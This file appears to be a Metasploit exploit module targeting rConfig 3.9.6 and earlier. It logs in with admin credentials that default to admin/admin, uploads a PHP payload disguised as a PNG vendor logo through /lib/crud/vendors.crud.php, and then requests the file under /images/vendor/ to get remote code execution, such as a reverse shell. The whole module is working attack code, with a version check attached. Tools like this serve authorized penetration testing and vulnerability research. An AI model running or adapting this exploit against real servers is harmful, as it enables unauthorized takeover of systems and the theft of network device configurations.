##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'rConfig Vendors Auth File Upload RCE',
'Description' => %q{
This module allows an attacker with a privileged rConfig account to start a reverse shell
due to an arbitrary file upload vulnerability in `/lib/crud/vendors.crud.php`.
Then, the uploaded payload can be triggered by a call to `images/vendor/<payload_file>.php`
},
'License' => MSF_LICENSE,
'Author' =>
[
'MURAT ŞEKER', # Exploit-db
'VISHWARAJ BHATTRAI', # Exploit-db
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '49665'],
['EDB', '49783']
],
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Privileged' => false,
'DisclosureDate' => '2021-03-17',
'Targets' =>
[
[ 'rConfig <= 3.9.6', {}]
],
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the rConfig server', '/'])
]
end
def authenticate
r = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'keep_cookies' => true
})
fail_with Failure::Unreachable "Target #{RHOST} could not be reached." unless r
r = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'lib/crud/userprocess.php'),
'headers' => {
'Origin' => full_uri(''),
'Referer' => "#{full_uri}/login.php"
},
'keep_cookies' => true,
'vars_post' => {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'sublogin' => '1'
}
)
fail_with Failure::Unreachable "Target #{RHOST} could not be reached." unless r
if r.body.to_s.include?('Invalid')
fail_with Failure::BadConfig, 'The admin credentials given are incorrect'
end
unless r.headers.include?('location')
fail_with Failure::UnexpectedReply, 'Unexpected reply as auth redirection didn\'t work'
end
print_good 'We successfully logged in !'
end
def check
r = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.php')
})
if r&.code == 200
version = r.body.to_s.match(/Version (\d*.\d*.\d*)/)
if version && version[1]
print_good(version[1] + ' of rConfig found !')
unless Rex::Version.new(version[1]) <= Rex::Version.new('3.9.6')
return CheckCode::Detected('Only versions <= 3.9.6 are vulnerable !')
end
return CheckCode::Appears('Vulnerable version of rConfig found !')
else
return CheckCode::Safe('Version of rConfig not found !')
end
else
CheckCode::Unknown("Can't access the rConfig web interface !")
end
end
def exploit
cookie_jar.clear
authenticate
filename = "#{Rex::Text.rand_text_alpha_lower(5..12)}.php"
post_data = Rex::MIME::Message.new
post_data.add_part(Rex::Text.rand_text_alpha(8..12), nil, nil, 'form-data; name="vendorName"')
post_data.add_part(payload.encoded, 'image/png', nil, "form-data; name='vendorLogo'; filename=#{filename}")
post_data.add_part('add', nil, nil, 'form-data; name="add"')
post_data.add_part('', nil, nil, 'form-data; name="editid"')
print_status("Uploading file \'#{filename}\' containing the payload...")
r = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lib/crud/vendors.crud.php'),
'headers' => {
'Origin' => full_uri('')
},
'keep_cookies' => true,
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
if r&.code == 302
register_file_for_cleanup(filename)
print_status('Triggering the payload ...')
send_request_cgi(
'method' => 'GET',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, "/images/vendor/#{filename}")
)
else
fail_with Failure::Unknown "Wasn't able to upload the payload file"
end
end
end
